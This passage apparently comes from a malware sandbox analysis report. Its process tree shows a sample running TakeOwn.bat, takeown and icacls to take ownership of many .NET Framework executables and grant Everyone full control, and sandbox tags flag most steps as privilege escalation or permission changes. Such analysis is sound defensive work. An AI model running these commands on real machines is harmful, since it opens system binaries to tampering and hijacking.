        Possible privilege escalation attempt
        
        PID:5660
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe" /grant "everyone":(f)
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5328
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2772
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2908
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"
        5⤵
        
        PID:4928
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe" /grant "everyone":(f)
        5⤵
        
        PID:4296
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:4916
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:3240
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" /grant "everyone":(f)
        5⤵
        
        PID:4824
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      PID:4904
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        5⤵
        
        PID:4260
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" /grant "everyone":(f)
        5⤵
        
        PID:3276
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe"
      4⤵
      PID:5944
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2136
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe" /grant "everyone":(f)
        5⤵
        
        PID:1076
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe"
      4⤵
      PID:1004
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe"
        5⤵
        
        PID:2056
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:2600
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      4⤵
      PID:5280
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        5⤵
        
        PID:560
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe" /grant "everyone":(f)
        5⤵
        
        PID:1036
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\WsatConfig.exe"
      4⤵
      PID:5168
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\WsatConfig.exe"
        5⤵
        
        PID:1072
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\WsatConfig.exe" /grant "everyone":(f)
        5⤵
        
        PID:5408
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\AppLaunch.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5568
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\AppLaunch.exe"
        5⤵
        
        PID:3316
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\AppLaunch.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:5144
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_compiler.exe"
      4⤵
      PID:3884
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5820
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_compiler.exe"
        5⤵
        
        PID:5072
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_compiler.exe" /grant "everyone":(f)
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5784
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_regbrowsers.exe"
      4⤵
      PID:884
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:948
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_regbrowsers.exe"
        5⤵
        
        PID:5832
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_regbrowsers.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:2864
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_regiis.exe"
      4⤵
      PID:2424
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1568
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_regiis.exe"
        5⤵
        
        PID:3192
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_regiis.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:1828
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_regsql.exe"
      4⤵
      PID:4572
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1728
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_regsql.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5100
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_regsql.exe" /grant "everyone":(f)
        5⤵
        
        PID:2100
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_state.exe"
      4⤵
      PID:3144
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4360
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_state.exe"
        5⤵
        
        PID:1704
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_state.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:5184
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_wp.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1000
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_wp.exe"
        5⤵
        
        PID:4164
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_wp.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:1940
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CasPol.exe"
      4⤵
      PID:5736
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CasPol.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:2044
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CasPol.exe" /grant "everyone":(f)
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2620
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"
      4⤵
      PID:5368
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"
        5⤵
        
        PID:4880
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /grant "everyone":(f)
        5⤵
        
        PID:5264
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe"
      4⤵
      PID:3148
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2712
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe"
        5⤵
        
        PID:3928
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe" /grant "everyone":(f)
        5⤵
        
        PID:4036
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dfsvc.exe"
      4⤵
      PID:1984
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dfsvc.exe"
        5⤵
        
        PID:444
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dfsvc.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:5984
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe"
      4⤵
      PID:1824
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe"
        5⤵
        
        PID:896
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe" /grant "everyone":(f)
        5⤵
        
        PID:2260
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\IEExec.exe"
      4⤵
      PID:4200
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4312
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\IEExec.exe"
        5⤵
        Modifies file permissions
        
        PID:4232
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\IEExec.exe" /grant "everyone":(f)
        5⤵
        
        PID:1604
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ilasm.exe"
      4⤵
      PID:4872
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ilasm.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:4972
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ilasm.exe" /grant "everyone":(f)
        5⤵
        
        PID:860
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe"
      4⤵
      PID:1160
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe"
        5⤵
        
        PID:4596
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe" /grant "everyone":(f)
        5⤵
        
        PID:1924
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\jsc.exe"
      4⤵
      PID:4452
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\jsc.exe"
        5⤵
        
        PID:4240
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\jsc.exe" /grant "everyone":(f)
        5⤵
        
        PID:1308
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Ldr64.exe"
      4⤵
      PID:4844
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Ldr64.exe"
        5⤵
        
        PID:2284
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Ldr64.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:2824
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3184
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\MSBuild.exe"
        5⤵
        
        PID:2524
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\MSBuild.exe" /grant "everyone":(f)
        5⤵
        
        PID:3692
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe"
      4⤵
      PID:1700
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe"
        5⤵
        Modifies file permissions
        
        PID:5812
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe" /grant "everyone":(f)
        5⤵
        
        PID:5528
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ngen.exe"
      4⤵
      PID:2176
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ngen.exe"
        5⤵
        Modifies file permissions
        
        PID:5816
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ngen.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:3712
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\RegAsm.exe"
      4⤵
      PID:5084
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\RegAsm.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:1276
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\RegAsm.exe" /grant "everyone":(f)
        5⤵
        
        PID:4616
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\RegSvcs.exe"
      4⤵
      PID:4296
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\RegSvcs.exe"
        5⤵
        
        PID:3836
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\RegSvcs.exe" /grant "everyone":(f)
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1256
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe"
      4⤵
      PID:4824
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe"
        5⤵
        
        PID:5540
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:832
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\ComSvcConfig.exe"
      4⤵
      PID:4584
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\ComSvcConfig.exe"
        5⤵
        Possible privilege escalation attempt
        System Location Discovery: System Language Discovery
        
        PID:5076
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\ComSvcConfig.exe" /grant "everyone":(f)
        5⤵
        
        PID:3016
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\ServiceModelReg.exe"
      4⤵
      PID:1944
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1076
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\ServiceModelReg.exe"
        5⤵
        Modifies file permissions
        
        PID:4864
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\ServiceModelReg.exe" /grant "everyone":(f)
        5⤵
        
        PID:2080
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\SMConfigInstaller.exe"
      4⤵
      PID:2368
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\SMConfigInstaller.exe"
        5⤵
        
        PID:784
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\SMConfigInstaller.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:2056
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\SMSvcHost.exe"
      4⤵
      PID:4636
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\SMSvcHost.exe"
        5⤵
        Modifies file permissions
        
        PID:2132
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\SMSvcHost.exe" /grant "everyone":(f)
        5⤵
        
        PID:1036
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\WsatConfig.exe"
      4⤵
      PID:1072
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\WsatConfig.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4192
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\WsatConfig.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:2480
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe"
      4⤵
      PID:3376
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:5308
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe" /grant "everyone":(f)
        5⤵
        
        PID:3444
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\XamlViewer\XamlViewer_v0300.exe"
      4⤵
      PID:4216
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5072
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\XamlViewer\XamlViewer_v0300.exe"
        5⤵
        
        PID:2676
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\XamlViewer\XamlViewer_v0300.exe" /grant "everyone":(f)
        5⤵
        
        PID:1832
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v3.5\AddInProcess.exe"
      4⤵
      PID:2160
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v3.5\AddInProcess.exe"
        5⤵
        
        PID:5000
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v3.5\AddInProcess.exe" /grant "everyone":(f)
        5⤵
        
        PID:4032
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v3.5\AddInProcess32.exe"
      4⤵
      PID:4988
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v3.5\AddInProcess32.exe"
        5⤵
        
        PID:3392
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v3.5\AddInProcess32.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:5036
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v3.5\AddInUtil.exe"
      4⤵
      PID:5960
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v3.5\AddInUtil.exe"
        5⤵
        Possible privilege escalation attempt
        System Location Discovery: System Language Discovery
        
        PID:5556
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v3.5\AddInUtil.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        System Location Discovery: System Language Discovery
        
        PID:4792
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe"
      4⤵
      PID:1836
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe"
        5⤵
        
        PID:5728
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:3732
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe"
      4⤵
      PID:648
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe"
        5⤵
        
        PID:4064
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:5560
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v3.5\EdmGen.exe"
      4⤵
      PID:5412
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v3.5\EdmGen.exe"
        5⤵
        
        PID:5256
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v3.5\EdmGen.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:4076
  - - C:\Windows\SysWOW64\cmd.exe
